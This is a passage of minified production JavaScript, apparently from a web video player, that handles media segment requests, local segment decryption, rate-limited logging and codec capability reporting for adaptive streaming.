pZH=function(x,T){if(x.xk(T,1)){var t=x.getUint8(T);t=t<128?1:t<192?2:t<224?3:t<240?4:5}else t=0;if(t<1||!x.xk(T,t))return[-1,T];if(t===1)x=x.getUint8(T++);else if(t===2)t=x.getUint8(T++),x=x.getUint8(T++),x=(t&63)+64*x;else if(t===3){t=x.getUint8(T++);var u=x.getUint8(T++);x=x.getUint8(T++);x=(t&31)+32*(u+256*x)}else if(t===4){t=x.getUint8(T++);u=x.getUint8(T++);var H=x.getUint8(T++);x=x.getUint8(T++);x=(t&15)+16*(u+256*(H+256*x))}else t=T+1,x.focus(t),Rf(x,t,4)?x=kh3(x).getUint32(t-x.zt,!0):(u=
x.getUint8(t+2)+256*x.getUint8(t+3),x=x.getUint8(t)+256*(x.getUint8(t+1)+256*u)),T+=5;return[x,T]};
Kh=function(x){this.P9=x;this.C=new mi};
Xm=function(x,T){this.info=x;this.callback=T;this.state=1;this.d5=this.m5=!1;this.IH=null};
OTi=function(x){return g.zu(x.info.iG,function(T){return T.type===3})};
xV=function(x,T,t,u){var H=this;u=u===void 0?{}:u;this.policy=T;this.P9=t;this.status=0;this.C=new mi;this.Z=0;this.T9=this.K=this.j=!1;this.xhr=new XMLHttpRequest;this.xhr.open(u.method||"GET",x);if(u.headers)for(x=u.headers,T=g.S(Object.keys(x)),t=T.next();!t.done;t=T.next())t=t.value,this.xhr.setRequestHeader(t,x[t]);this.xhr.withCredentials=!0;this.xhr.onreadystatechange=function(){return H.SE()};
this.xhr.onload=function(){return H.onDone()};
this.xhr.onerror=function(){return H.onError()};
this.xhr.fetch(function(I){H.C.append(I);H.Z+=I.length;I=(0,g.bo)();H.P9.tH(I,H.Z)},function(){},u.body||null)};
fRq=function(x,T){this.Z=(new TextEncoder).encode(x);this.C=(new TextEncoder).encode(T)};
X1f=function(x,T){var t,u,H;return g.G(function(I){if(I.C==1){if(!T)return I.return(T);t=Tp.J2();u=new g.RO(x.Z);return g.v(I,u.encrypt(T,x.C),2)}H=I.Z;Tp.II("woe",t,Math.ceil(T.byteLength/16));return I.return(H)})};
sj3=function(x,T){var t,u,H;return g.G(function(I){if(I.C==1){if(!T)return I.return(T);t=Tp.J2();u=new g.RO(x.Z);return g.v(I,u.decrypt(T,x.C),2)}H=I.Z;Tp.II("wod",t,Math.ceil(T.byteLength/16));return I.return(H)})};
KH3=function(x,T){var t=this;this.C=x;this.P9=T;this.loaded=this.status=0;this.error="";x=kd(this.C.get("range")||"");if(!x)throw Error("bad range");this.range=x;this.Z=new mi;wZV(this).then(function(){t.P9.yT()},function(u){t.error=""+u||"unknown_err";
t.P9.yT()})};
wZV=function(x){var T,t,u,H,I,E,Z,e,l,m,d,M,A,R,Y;return g.G(function(b){if(b.C==1){x.status=200;T=x.C.get("docid");t=fd(x.C.get("fmtid")||"");u=x.C.get("lmt")||"0";H=+(x.C.get("csz")||0);if(!T||!t||!H)throw Error("Invalid local URL");x.C.get("ck")&&x.C.get("civ")&&(I=new fRq(x.C.get("ck"),x.C.get("civ")));E=x.range;Z=Math.floor(E.start/H);e=Math.floor(E.end/H);l=Z}if(b.C!=5)return l<=e?g.v(b,uA4(T,t,u,l,I),5):b.lG(0);m=b.Z;if(m===void 0)throw Error("invariant: data is undefined");d=l*H;M=(l+1)*H;
A=Math.max(0,E.start-d);R=Math.min(E.end+1,M)-(A+d);Y=new Uint8Array(m.buffer,A,R);x.Z.append(Y);x.loaded+=R;x.loaded<E.length&&x.P9.tH((0,g.bo)(),x.loaded);l++;return b.lG(2)})};
xF3=function(x,T,t,u){var H=this;u=u===void 0?{}:u;this.policy=T;this.P9=t;this.N=u;this.status=0;this.response=void 0;this.Z=0;this.T=this.D=!1;this.errorMessage="";this.S=function(I){if(I)if(H.status=I.status,I.ok&&I.body&&H.status!==204)H.status=H.status||242,H.j=I.body.getReader(),H.T9()?H.j.cancel().catch(function(){}):(H.responseHeaders=I.headers,H.P9.Eu(),XZ3(H));
else H.onDone();else H.onError(Error("null_response"))};
this.J=function(I){var E=(0,g.bo)();H.T9()||(I.done?(H.j=void 0,H.onDone()):(I=I.value,H.Z+=I.length,H.C.append(I),XZ3(H),H.P9.tH(E,H.Z)))};
this.onError=function(I){H.errorMessage=String(I);H.D=!0;H.onDone()};
this.C=new mi;this.K=window.AbortController?new AbortController:void 0;this.start(x)};
XZ3=function(x){x.j.read().then(x.J,x.onError).then(void 0,Hy)};
TUm=function(x,T,t){var u=this;t=t===void 0?{}:t;this.P9=T;this.Z=this.status=0;this.T9=this.C=!1;this.xhr=new XMLHttpRequest;this.xhr.open(t.method||"GET",x);if(t.headers){x=t.headers;T=g.S(Object.keys(x));for(var H=T.next();!H.done;H=T.next())H=H.value,this.xhr.setRequestHeader(H,x[H])}this.xhr.responseType="arraybuffer";this.xhr.withCredentials=!0;this.xhr.onreadystatechange=function(I){u.SE(I)};
x=Sv(function(I){u.onDone(I)});
this.xhr.addEventListener("load",x,!1);this.xhr.addEventListener("error",x,!1);t.body?this.xhr.send(t.body):this.xhr.send();this.xhr.addEventListener("progress",Sv(function(I){u.Yg(I)}),!1)};
ow=function(x,T,t,u,H){if(bG(x.il))return new KH3(x,t);x=x.sY();return u?UND()?new xV(x,T,t,H):new xF3(x,T,t,H):new TUm(x,t,H)};
g.t$=function(x){this.tag=x};
oWq=function(x,T){sE.apply(null,[6,x,T].concat(g.U(g.FD.apply(2,arguments))))};
tRi=function(x,T){sE.apply(null,[5,x,T].concat(g.U(g.FD.apply(2,arguments))))};
sE=function(x,T,t){var u=g.FD.apply(3,arguments),H=x===6?"ERROR":"WARNING",I="b"+t;g.vW(new (Function.prototype.bind.apply(g.CS,[null,I].concat(g.U(u)))),H);u.unshift(I);u=u.join(", ");H=srq.get(T);if(!H){H="ytplog."+T;I=5;try{window.localStorage&&!isNaN(+window.localStorage[H])&&(I=+window.localStorage[H]),window.sessionStorage&&!isNaN(+window.sessionStorage[H])&&(I=+window.sessionStorage[H])}catch(e){}srq.set(T,I);H=I}if(!(x<H)){H=uhD;I=H.C.get(T);I||(I=new $Fq,H.C.set(T,I));H=I;I=Date.now();var E=
Math.floor((I-H.Z)*.01);E>0&&(H.C=Math.min(H.C+E,10),H.Z=I);H.C>0?(H.C--,H=!0):H=!1;if(H)typeof u==="function"&&(u=u()),console.log("plyr."+T,u);else{var Z;u=((Z=H3V.get(T))!=null?Z:0)+1;H3V.set(T,u);u%100===1&&console.warn("plyr","plyr."+T+" is chatty, dropping logs.")}}};
$Fq=function(){this.C=10;this.Z=Date.now()};
u4=function(x,T){g.W.call(this);var t=this;this.policy=x;this.iG=T;this.Z=0;this.C=null;this.Yx=[];this.j=null;this.yF={gs:function(){return t.iG}};
this.iG.length===1||g.zu(this.iG,function(u){return!!u.range})};
$V=function(x,T,t){x.C&&(dK(x.C,T),T=x.C,x.C=null);for(var u=0,H=0,I=g.S(x.iG),E=I.next();!E.done;E=I.next())if(E=E.value,E.range&&u+E.j<=x.Z)u+=E.j;else{T.getLength();if(V4(E)&&!t&&x.Z+T.getLength()-H<u+E.j){x.C=T.split(H).kG;return}a:{var Z=x;var e=E,l=x.Z-u,m=H,d=T,M=!!t,A=d.getLength()-m;e.range&&(A=Math.min(e.j-l,A));e=KcD(e,e.Z+l,A,e.range?e.Z+l+A===e.range.length:M);m=Mi(d,m,A);m=new XO(e,m);if(Z.policy.useUmp&&Z.Yx.length&&(d=g.x8(Z.Yx[Z.Yx.length-1],m))){Z.Yx[Z.Yx.length-1]=d;Z=A;break a}Z.Yx.push(m);
Z=A}x.Z+=Z;H+=Z;u+=E.j;if(H===T.getLength())break}T.getLength()};
H6=function(x,T,t,u,H,I,E,Z,e){e=e===void 0?!1:e;g.W.call(this);this.P9=x;this.policy=T;this.MI=t;this.QA=u;this.timing=H;this.logger=I;this.j=E;this.Qb=Z;this.T=e;this.lastError=null;this.C=0;this.K=!1;this.Z=new g.wX(this.Ufv,this.policy.pF,this)};
i3X=function(x){x.QA.S=(0,g.bo)();x=i4(x);x.j=(0,g.bo)();x.started+=1};
qKH=function(x,T,t,u){x.timing.K0((0,g.bo)(),T,t);T=x.QA;T.Z=0;T.T=0;T.N=0;MH(i4(x));x.policy.wf&&u&&(u=i4(x),u.Z+=1);if((u=x.Qb)!=null&&(x=x.MI.il,!((0,g.bo)()<u.D+3E5||bG(x))&&(T=UK(x))&&I5q(T)&&u.Z===Iw(T))){var H;rU(x)&&(H=UK(zg(x)));g.vc("yt-player-bandaid-host",{primary:T,secondary:H},864E3);u.D=(0,g.bo)();EWX(u,{primary:T,secondary:H})}};
EE=function(x){if(x.lastError==="ump.spsrejectfailure")x.policy.Hm||x.timing.jY||Wc5(x.QA,!1,x.MI,x.policy,x.j);else{if(x.lastError==="net.timeout")x.timing.tD((0,g.bo)());else{var T=x.timing;QW(T,(0,g.bo)(),T.T)}if(x.lastError==="net.nocontent")++x.QA.N;else{if((T=x.lastError==="net.timeout"||x.lastError==="net.connect"||x.lastError==="net.closed")&&!bG(x.MI.il)){var t=i4(x);t.timedOut+=1}else t=i4(x),t.C+=1;x.timing.jY||Wc5(x.QA,T,x.MI,x.policy,x.j)}}x.P9.vk(5)};
qt=function(x,T,t,u,H){return T>=400?(x.lastError="net.badstatus",!0):(H===void 0?0:H)?(x.lastError="ump.spsrejectfailure",!0):t||u!==void 0&&u?!1:(x.lastError=T===204?"net.nocontent":"net.connect",!0)};
Zp=function(x,T){if(x.policy.jG)return!1;var t=T.getResponseHeader("content-type"),u=T.Gf();x=!u||u<=x.policy.j3;return(!T.IM()||!t||t.indexOf("text/plain")!==-1)&&x};
jrq=function(x,T){var t="";T=T.R0();T.getLength()<=x.policy.j3&&(t=Z3f(x,T.QX()));return t};
Z3f=function(x,T){var t=c5(T);return Xc(t)?(x.logger.debug(function(){return"Redirecting to "+t}),t):""};
i4=function(x){return Re(x.j,UK(x.MI.il))};
eM5=function(x){var T=x.timing.Sl();T.shost=UK(x.MI.il);return T};
l5m=function(x,T){return(x==null?void 0:x.maxWidth)>(T==null?void 0:T.maxWidth)||(x==null?void 0:x.maxHeight)>(T==null?void 0:T.maxHeight)};
mF5=function(x,T){for(var t=g.S(T.keys()),u=t.next();!u.done;u=t.next())if(u=T.get(u.value),u.length!==0){g.Ey(u,function(Z,e){return e.maxFramerate-Z.maxFramerate});
for(var H=[u[0]],I=0,E=1;E<u.length;E++)l5m(u[E],H[I])&&(H.push(u[E]),I++);x=x.concat(H)}return x};
MR4=function(x,T){var t=[];T=g.S(T);for(var u=T.next();!u.done;u=T.next()){u=u.value;var H=dFJ[u]||0;x.C&&H>x.C||t.push(u)}return t};
jy=function(x,T,t){var u=AvJ[x]||[];t.B("html5_shorts_onesie_mismatched_fix")&&(u=RMi[x]||[]);T.push.apply(T,g.U(u));t.B("html5_early_media_for_drm")&&T.push.apply(T,g.U(PG3[x]||[]))};
rvD=function(x,T){var t=g.HV(x),u=x.Y(),H=u.T;u=u.B("html5_shorts_onesie_mismatched_fix");var I=x.qg();if(u){if(!H.K){if(I&&ey)return ey;if(l4)return l4}}else if(l4&&!H.K)return l4;var E=[],Z=[],e={},l=mp.concat(SKV);u&&(l=mp.concat(cvD));x.B("html5_early_media_for_drm")&&(l=l.concat(YKJ),x.B("allow_vp9_1080p_mq_enc")&&l.push(UFD));var m=[].concat(g.U(b3v));if(t.S)for(var d=0;d<m.length;d++)m[d].length&&Nu[m[d][0]]==="a"&&(m[d]=["141"]);if(t.Hv)for(d=0;d<m.length;d++)m[d].length&&Nu[m[d][0]]==="o"&&
(m[d]=["774"]);x.B("html5_iamf_audio_onesie_fmt")&&m.push(["773"]);l=g.S(l);for(var M=l.next();!M.done;M=l.next()){d=!1;M=g.S(M.value);for(var A=M.next();!A.done;A=M.next()){A=A.value;var R=$c(A,I&&u);if(R&&R.video&&!(Oq(R)&&!t.Om&&R.video.C>t.TC)){var Y=g.Z9(x.Y().experiments,"html5_drm_byterate_soft_cap");Y>0&&jn5(R)&&R.Zp>Y||(d?(E.push(A),jy(A,E,x)):(R=lG(t,R,H),R===!0?(d=!0,E.push(A),jy(A,E,x)):e[A]=R))}}}m=g.S(m);for(l=m.next();!l.done;l=m.next())for(l=g.S(l.value),d=l.next();!d.done;d=l.next())if(d=
d.value,(M=qOf(d))&&M.audio&&(x.B("html5_onesie_51_audio")||!fj(M)&&!w4(M)))if(M=lG(t,M,H),M===!0){Z.push(d);jy(d,Z,x);break}else e[d]=M;t.Z&&T("orfmts",e);if(u)return H.K&&(H.K=!1,ey=l4=void 0),I?ey={video:E,audio:Z}:l4={video:E,audio:Z};l4={video:E,audio:Z};H.K=!1;return l4};
g.FVm=function(x,T,t){var u=t.T,H=[],I=[],E=t.B("html5_shorts_onesie_mismatched_fix");x=x.qg();var Z=mp.concat(SKV);E&&(Z=mp.concat(cvD));t.B("html5_early_media_for_drm")&&(Z=Z.concat(YKJ),t.B("allow_vp9_1080p_mq_enc")&&Z.push(UFD));var e=[].concat(g.U(b3v));if(T.S)for(var l=0;l<e.length;l++)e[l].length&&Nu[e[l][0]]==="a"&&(e[l]=["141"]);if(T.Hv)for(l=0;l<e.length;l++)e[l].length&&Nu[e[l][0]]==="o"&&(e[l]=["774"]);t.B("html5_iamf_audio_onesie_fmt")&&e.push(["773"]);Z=g.S(Z);for(l=Z.next();!l.done;l=
Z.next()){l=g.S(l.value);for(var m=l.next();!m.done;m=l.next()){m=m.value;var d=$c(m,x&&E);if(d&&d.video){var M=g.Z9(t.experiments,"html5_drm_byterate_soft_cap");if(!(M>0&&jn5(d)&&d.Zp>M)&&lG(T,d,u)===!0){H.push({videoCodec:zMq[Nu[m]],maxWidth:d.video.width,maxHeight:d.video.height,maxFramerate:d.video.fps});break}}}}E=g.S(e);for(x=E.next();!x.done;x=E.next())for(x=g.S(x.value),e=x.next();!e.done;e=x.next())if(e=e.value,(Z=qOf(e))&&Z.audio&&(t.B("html5_onesie_51_audio")||!fj(Z)&&!w4(Z))&&lG(T,Z,u)===
!0){I.push({audioCodec:kgi[Nu[e]],numChannels:Z.audio.numChannels});break}return{videoFormatCapabilities:H,audioFormatCapabilities:I}};
dj=function(x){var T={},t=x.Em,u=x.Pv,H=t.getVideoData(),I=BZ(0),E=t.getPlayerSize(),Z=t.getVisibilityState();I&&(T.Xv7=I,T.lastManualDirection=bGV(),I=fuq()||0,I>0&&(I=(u.B("html5_use_date_now_for_local_storage")?Date.now():(0,g.bo)())-I,u.B("html5_use_date_now_for_local_storage")?I>0&&(T.timeSinceLastManualFormatSelectionMs=I):T.timeSinceLastManualFormatSelectionMs=I));I=u.B("html5_use_streamer_bandwidth_for_low_latency_live")&&H.isLowLatencyLiveStream;if(u.schedule.ZZ&&!I){var e;I=u.B("html5_disable_bandwidth_cofactors_for_sabr_live")?
!((e=x.x6)==null||!e.vD):!1;T.MM=Si(u.schedule,!I)}e=g.O0();var l=g.BU.medium,m=Math.floor(l*16/9);I=H.qg()?l:m;l=H.qg()?m:l;T.Y8=Math.max(E.width*e,I);T.VH=Math.max(E.height*e,l);T.visibility=Z;T.npc=bH();T.rI=t.xZ()*1E3;E=x.Em.Yh(!0);var d,M,A,R,Y,b;T.iFY={defaultPolicy:(E==null?void 0:(d=E.Pi)==null?void 0:d.C)||0,smooth:(E==null?void 0:(M=E.ZKv)==null?void 0:M.C)||0,visibility:(E==null?void 0:(A=E.dmW)==null?void 0:A.C)||0,qR:(E==null?void 0:(R=E.F_)==null?void 0:R.C)||0,performance:(E==null?
void 0:(Y=E.Ki)==null?void 0:Y.C)||0,speed:(E==null?void 0:(b=E.opY)==null?void 0:b.C)||0};if(u.B("html5_sabr_report_sticky_constraints")){var z;T.BQ=(E==null?void 0:(z=E.x0U)==null?void 0:z.C)||0}else T.BQ=BZ();u.B("html5_enable_sabr_drm_hd720p")&&x.sabrLicenseConstraint&&(T.sabrLicenseConstraint=x.sabrLicenseConstraint);if(u.B("html5_onesie_media_capabilities")||u.B("html5_enable_server_format_filter"))T.Ua=3;u.B("html5_onesie_audio_only_playback")&&sD(H)&&(T.Ua=1);var F;((F=x.x6)==null?0:F.ra)&&
x.sUu&&(T.Ua=T.Ua===void 0?7:T.Ua|4);d=H.F3?H.F3:g.HV(H);u.B("html5_onesie_media_capabilities")&&(T.mediaCapabilities=g.FVm(H,d,u));var V;if((V=x.x6)==null?0:V.C&&V.hR){A=u.T;V=[];M=[];R=new Map;u.B("html5_ssap_update_capabilities_on_change")?(A.ZZ||vl5(A),Y=A.ZZ||[]):Y=Array.from(A.C.values());Y=g.S(Y);for(b=Y.next();!b.done;b=Y.next())z=b.value,z.iD?M.push({audioCodec:kgi[z.Wv],numChannels:z.numChannels,spatialCapabilityBitmask:hMf[z.Wv]}):(F=zMq[z.Wv],b={videoCodec:F,maxWidth:z.maxWidth||0,maxHeight:z.maxHeight||
0,maxFramerate:z.maxFramerate||0,is10BitSupported:z.hT||!1},z.maxBitrateBps&&(b.maxBitrateBps=z.maxBitrateBps,E=$c(z.itag),Z=void 0,((Z=E)==null?0:Z.video)&&lG(d,E,A)===!0&&(E=E.Zp*8,E>b.maxBitrateBps&&(b.maxBitrateBps=E))),z=F+"_"+z.hT,F=R.get(z)||[],F.push(b),R.set(z,F));V=mF5(V,R);A={};u.B("html5_ssff_denylist_opus_low")&&(A={itagDenylist:[249,350]});T.mediaCapabilities={videoFormatCapabilities:V,audioFormatCapabilities:M,hdrModeBitmask:3,perPlaybackAttributes:A}}var B;if((B=x.x6)==null?0:B.C){T.Dl=
d.Dl;var D;T.TC=(D=x.x6)==null?void 0:D.TC}u.Nz&&(T.D4=u.Nz);T.RS=x.ih;T.v5=x.v5;T.S2=x.S2;T.ey=x.ey;if(u.B("html5_fix_time_since_last_seek_reporting")?x.aX!==void 0:x.aX)T.gpm=(0,g.bo)()-x.aX;x.isPrefetch&&u.B("html5_report_prefetch_requests")&&(T.isPrefetch=!0);KY||(T.R_7=!0);B=AF(u.schedule)*1E3;B>0&&(T.aR=B);var f;((f=x.x6)==null?0:f.Px)&&x.kR&&x.kR<Infinity&&(T.kR=x.kR);t=t.getPlaybackRate();t!==1&&(T.playbackRate=t);var O;((O=x.x6)==null?0:O.Jq)&&x.lR&&(T.Bl=x.Bl,T.oE=x.oE,T.lR=x.lR);u.B("allow_proxima_live_latency")&&
(WZ()===1&&(T.Sm7=1),u.B("html5_sabr_force_proxima")&&(T.vcu=1),O=g.Z9(u.experiments,"html5_sabr_force_max_network_interruption_duration_ms"),T.PNY=O>0?O:u.schedule.interruptions[0]||0);var sH;if((sH=x.x6)==null?0:sH.kP)T.Fk=x.Fk;var HX;((HX=x.x6)==null?0:HX.Zm)&&H.OG&&(T.audioTrackId=H.OG);var xq;if((xq=x.x6)==null?0:xq.GR)if(x=Erf())T.detailedNetworkType=vWC[x]||vWC.other;return T};
Mt=function(x,T,t,u,H,I,E){var Z={};T&&(Z.z8=T);if(!x)return Z;Z.playbackCookie=t==null?void 0:t.playbackCookie;H&&(Z.GK=H);Z.iO=[];Z.pu=[];if(E==null?0:E.size)for(T=g.S(E.values()),t=T.next();!t.done;t=T.next())Z.pu.push(t.value);if(x.sabrContextUpdates.size>0)for(T=g.S(x.sabrContextUpdates.values()),t=T.next();!t.done;t=T.next())VRJ(Z,t.value,u);$7(x)&&!g.pB(x)&&x.B("html5_enable_sabr_request_pipelining")&&I&&VRJ(Z,I,u);x.lH&&(Z.CfZ=x.lH);u=x.Y().C;Z.clientInfo={clientName:Ggv[u.c.toUpperCase()]||
0};u.cbrand&&(Z.clientInfo.deviceMake=u.cbrand);u.cmodel&&(Z.clientInfo.deviceModel=u.cmodel);u.cver&&(Z.clientInfo.clientVersion=u.cver);u.cos&&(Z.clientInfo.osName=u.cos);u.cosver&&(Z.clientInfo.osVersion=u.cosver);u=x.Y();u.B("html5_sabr_enable_server_xtag_selection")&&u.ra&&(Z.clientInfo.hl=u.ra);x.VT&&(Z.VT=x.VT);return Z};
VRJ=function(x,T,t){var u=T.type||0;(t==null?0:t.has(u))?x.pu.push(T):x.iO.push(u)};
nh=function(x,T,t,u,H,I){var E=I===void 0?{}:I;var Z=E.n5===void 0?[]:E.n5;var e=E.By===void 0?!1:E.By;var l=E.g$===void 0?0:E.g$;var m=E.poToken===void 0?"":E.poToken;var d=E.Qb===void 0?void 0:E.Qb;var M=E.Vy===void 0?"":E.Vy;var A=E.N0===void 0?0:E.N0;var R=E.rV===void 0?new Uint8Array(0):E.rV;var Y=E.qZ===void 0?!1:E.qZ;I=E.C$===void 0?0:E.C$;E=E.z8===void 0?void 0:E.z8;Xm.call(this,T,H);var b=this;this.policy=x;this.logger=new g.t$("dash/request");this.Z3=this.G7=0;this.ZY=!1;this.Vh=this.Np=
null;this.D0=!1;this.rV=this.N0=null;this.We=this.PR=!1;this.ZD=null;this.C$=this.v7=0;this.qW=!1;this.yF={vk:function(F){b.vk(F)},
WwZ:function(){return b.IH},
OAU:function(F){b.IH=F},
lI9:function(F){b.G7=F},
HAf:function(F){b.gp.lastError=F},
gU:function(){return b.xhr}};
this.timing=new Oz(this,t);this.By=e;this.N0=A;this.rV=R;this.MI=g.y4(this.info,this.policy,u);this.MI.set("rn",this.Bw().toString());this.MI.set("rbuf",(l*1E3).toFixed().toString());this.By&&this.MI.set("smb","1");this.policy.DX&&m&&this.MI.set("pot",m);M&&this.MI.set("bbs",M);this.policy.useUmp&&!bG(this.MI.il)&&(this.jf=new Kh(this),this.MI.set("ump","1"),this.MI.set("srfvp","1"));if(x=this.policy.AJ?this.policy.Ks&&!isNaN(this.info.IT)&&this.info.IT>this.policy.eK?!1:!0:!1)T=null,this.policy.Of&&
this.policy.HD?T=[1]:Y&&(T=[]),T!=null&&(this.policy.X7&&T.push(2),this.MI.set("defsel",T.join(",")));this.gp=new H6(this,this.policy,this.MI,this.info.QA,this.timing,this.logger,u,d);this.n5=Z||null;this.d5=LVD(this);i3X(this.gp);u=void 0;if(this.policy.HO||this.jf||this.policy.hQ)u={method:"POST"},Z=(0,g.A$)([120,0]),d={},this.policy.Bb&&E&&(E=Mt(void 0,E),d.pH=E),this.policy.Kl&&this.rV&&(d.videoPlaybackUstreamerConfig=this.rV),this.policy.hQ&&(E=this.info.K)&&Object.assign(d,E),Object.keys(d).length>
0?u.body=g.pn(d,g.xW):u.body=Z;if(this.N0&&this.rV){this.MI.set("iwts","1");u={method:"POST"};E={ey:this.N0*1E3};var z;Z=(z=this.info.K)==null?void 0:z.o8;z=g.pn({E_:E,o8:Z||void 0,videoPlaybackUstreamerConfig:this.rV},g.xW);u.body=z}try{this.xhr=ow(this.MI,this.policy.J,this.timing,x,u),this.gp.Z.start(),I&&(this.Yf=new g.wX(this.NE,I,this),this.Yf.start(I+(this.timing.xP.J.Z$()||0)*1E3)),this.policy.Q6&&ph(this.timing,this.sY()),this.logger.debug(function(){return"Sent, itag="+b.MI.get("itag")+
" seg="+b.info.iG[0].Mj+" range="+b.MI.get("range")+" time="+Math.round(b.info.iG[0].Gy)+"-"+Math.round(g.Q3(b.info.iG).BS)+" rtp="+(b.timing.x3()-Date.now()).toFixed(0)}),g.IZ(function(){})}catch(F){nWq(this,F,!0)}};
LVD=function(x){if(!(DN(x.info)&&x.info.sC()&&x.policy.mY&&x.n5)||x.info.QA.Z>=2||BZ()>0||!FAH())return!1;var T=x.MI.get("aitags");if(!T)return!1;T=fd(T).split(",");for(var t=[],u=g.S(x.n5),H=u.next();!H.done;H=u.next())H=H.value,g.wy(T,H)&&t.push(H);if(!t.length)return!1;x.MI.set("altitags",g.Ob(t.join(",")));return!0};
nWq=function(x,T,t){t=t===void 0?!1:t;g.vW(T);x.gp.lastError="player.exception";x.errorMessage=T.name+"_"+T.message;t?g.IZ(function(){EE(x.gp)}):EE(x.gp)};
a55=function(x,T){x.timing.jY=!0;x.xhr.IM()&&x.timing.jo();if(x.policy.L4){var t;(t=x.Yf)==null||t.stop()}$V(x.IH,T,!1)};
gW4=function(x,T){x.info=T;if(x.IH){var t=x.IH;T=T.iG;(T.length!==t.iG.length||T.length<t.Yx.length)&&tRi("dash/request",260511119,""+T.length,""+t.iG.length,""+t.Yx.length);t.iG=T;for(var u=T[0].range,H=new mi,I=0;I<t.Yx.length;I++)dK(H,t.Yx[I].C);for(I=0;I<t.Yx.length;I++){t.Yx[I].info=T[I];var E=T[I].range;t.Yx[I].C=Mi(H,E.start-u.start,E.length)}}x.d5=!1};
BU5=function(x){x.v7&&(x.xhr.status=x.v7,x.G7=x.v7)};
Rw=function(x,T){Ch.call(this,x,T);this.QU=!0;this.uG=!1;this.AQ=this.G9=0;this.mu=NaN};
WV5=function(x,T,t){var u=x.mO?Math.max(T,t/x.mO):T,H=x.xP.Z.j;H&&(u=T,x.mO&&(u=Math.max(T,t/x.mO*H)));mI(x.xP,T,t,u)};
P6=function(x){this.Z={};this.logger=new g.t$(x)};
Sy=function(x){P6.call(this,"sabr");this.P9=x};
c6=function(x){g.W.call(this);this.K=x;this.logger=new g.t$("onesie");this.YP=new Map;this.Z=this.C=!1;this.x6=this.gy=null;this.j=!1};
DF3=function(x,T,t){x.YP.get(T).Yg=t};
b4=function(x,T){x.YP.has(T)&&(YV?x.YP.get(T).Ng.clear():x.YP.get(T).Yx=new mi,UE(x,T),x.Z=!0)};
yv3=function(x){for(var T=g.S(x.YP),t=T.next();!t.done;t=T.next()){var u=g.S(t.value);t=u.next().value;u=u.next().value;u.Mh||b4(x,t)}};
NUm=function(x,T){T=x.YP.get(T);if(!T)return 0;x=0;if(T.iG.length>0){T=g.S(T.iG);for(var t=T.next();!t.done;t=T.next()){var u=void 0;x+=((u=t.value.range)==null?void 0:u.length)||0}return x}if(T.iW.length>0)for(t=g.S(T.iW),u=t.next();!u.done;u=t.next())x+=u.value.zT||0;return x+T.sE};
rj=function(x,T){if(YV){var t=0;x=x.YP.get(T);if(x==null||!x.Ng)return 0;x=g.S(x.Ng.values());for(T=x.next();!T.done;T=x.next())t+=T.value.data.getLength();return t}return((t=x.YP.get(T))==null?void 0:t.Yx.getLength())||0};
zp=function(x,T){x=x.YP.get(T);if(YV){if(x==null||!x.Mh)return!1;T=x.Ng.size>0;return x.iQ.length>0||T}return!(x==null||!x.Mh)&&!(x==null||!x.Yx.getLength())};
JvX=function(x,T){var t=x.YP.get(T),u=NUm(x,T),H=!u&&!!t.bytesReceived;if(YV){var I;if((I=x.gy)==null?0:I.B9){x=g.S(t.Ng.values());for(T=x.next();!T.done;T=x.next())if(!T.value.MW)return!1;return H}}else if(I=x.Qu(T),H&&x.C&&I!==void 0)return I;return(H||t.bytesReceived===u)&&t.Xr+rj(x,T)===t.bytesReceived};
CGi=function(x,T,t){x.YP.set(T,{Yx:new mi,Xr:0,bytesReceived:0,sE:0,BG:!1,oT:!1,Qu:!1,iD:t,d0:[],iG:[],iW:[],Mh:!1,Ng:new Map,hN:new Map,iQ:[]});x.logger.debug(function(){return"[initStream] formatId: "+T})};
QrD=function(x,T,t,u){t.iG.push.apply(t.iG,g.U(u));if(YV){t.hN.has(T)||t.hN.set(T,[]);var H;(H=t.hN.get(T)).push.apply(H,g.U(u))}else if(t.IH)for(x=g.S(u),T=x.next();!T.done;T=x.next())t.IH.iG.push(T.value);else{t.IH=new u4(x.x6,[].concat(g.U(t.iG)));var I;((I=x.x6)==null?0:I.jb)&&g.y(x,t.IH)}};
ptq=function(x,T,t){var u,H=(u=x.gy)==null?void 0:u.j.get(T);if(!H)return[];if(t.Kt){var I;return((I=H.Zg(0,t.clipId))==null?void 0:I.iG)||[]}if(H.Jy()){var E=t.startMs,Z=t.durationMs,e=1E3,l;if(((l=x.x6)==null?0:l.C)&&t.timeRange){var m;E=(m=t.timeRange.startTicks)!=null?m:-1;var d;Z=(d=t.timeRange.zf)!=null?d:-1;var M;e=(M=t.timeRange.timescale)!=null?M:-1}if(t.Rw<0||t.rR<0||Z<0||E<0||t.zT<0||e<0)return b4(x,T),[];x=FO(t.Rw,t.zT);T=t.mJ||0;return[new vH(3,H,x,"makeSliceInfosMediaBytes",t.rR-1,E/
e,Z/e,T,x.length-T,void 0,t.a4,t.clipId)]}if(t.rR<0)return b4(x,T),[];var A;return((A=x.gy)==null?0:A.B9)?(T=H.XR,l=T*H.info.Zp,m=((E=x.x6)==null?0:E.RW)?t.mJ:void 0,((e=x.x6)==null?0:e.VQ)&&t.timeRange&&!m&&(Z=t.timeRange.startTicks/t.timeRange.timescale),[new vH(3,H,void 0,"makeSliceInfosMediaBytes",t.rR,Z,T,m,l,!0,t.a4,t.clipId)]):[]};
O3v=function(x,T,t){x.gy=T;x.x6=t;T=g.S(x.YP);for(t=T.next();!t.done;t=T.next()){var u=g.S(t.value);t=u.next().value;u=u.next().value;for(var H=g.S(u.d0),I=H.next();!I.done;I=H.next()){I=I.value;var E=ptq(x,t,I);QrD(x,I.Gi,u,E)}}};
kV=function(x,T,t,u){x.logger.debug(function(){return"[addStreamData] formatId: "+t+",headerId: "+T+" bytes: "+u.getLength()});
(x=x.YP.get(t))&&!x.oT&&(YV?(x.Ng.has(T)||x.Ng.set(T,{data:new mi,kC:0,MW:!1}),dK(x.Ng.get(T).data,u)):dK(x.Yx,u),x.bytesReceived+=u.getLength(),x.BG=!0)};
UE=function(x,T){x.logger.debug(function(){return"[closeStream] formatId: "+T});
var t=x.YP.get(T);t&&!t.oT&&(t.oT=!0,t.Yg&&t.Yg(),f53(x)&&x.K.Eq())};
f53=function(x){x=g.S(x.YP.values());for(var T=x.next();!T.done;T=x.next())if(!T.value.oT)return!1;return!0};
